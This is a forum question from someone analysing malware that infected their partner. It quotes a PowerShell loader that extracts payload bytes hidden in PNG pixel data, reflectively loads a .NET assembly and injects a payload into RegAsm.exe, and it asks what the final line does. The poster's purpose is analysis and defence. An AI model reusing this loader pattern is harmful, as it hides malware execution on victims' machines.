Powershell Script Deobfuscation - powershell

Question

I've recently going down a rabbit hole of picking apart a piece of malware that my partner had fallen victim to, looking through the Powershell Script in a testing environment.
I am very much new to this stuff, only having a VERY basic understanding. I can read individual pieces of this script, but it's purposefully hard to read. I just want to somewhat know what it's doing.
I've gotten pretty far with my playing, but I have hit a wall. It would be greatly appreciated if I could get a minor understanding of what the final line in the script is doing.
This is the code. It's purposefully obfuscated by whoever wrote it.
Add-Type -AssemblyName System.Drawing
$img = [System.Drawing.Image]::FromFile("$env:USERPROFILE\AppData\Roaming\PerfLogs\Image.png")
$img2 = [System.Drawing.Image]::FromFile("$env:USERPROFILE\AppData\Roaming\PerfLogs\pe.png")
$injpath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
$File = New-Object 'System.Collections.Generic.List[Byte]'
$PE = New-Object 'System.Collections.Generic.List[Byte]'
foreach($x in 1..$img.Width ) {
$File.Add(($img.GetPixel($x -1,0).R))
}
foreach($x in 1..$img2.Width ) {
$PE.Add(($img2.GetPixel($x -1,0).R))
}
try{
schtasks /delete /tn det /f
}catch{}
$a = [Reflection.Assembly]
$a::'Load'($PE.ToArray()).GetType('NewPE.PE').GetMethod('Execute').Invoke($null,[object[]] ($injpath,$File.ToArray()))
I know it's doing something naughty. That's the point. I just wanted to see what the community might have to say about it. Thanks!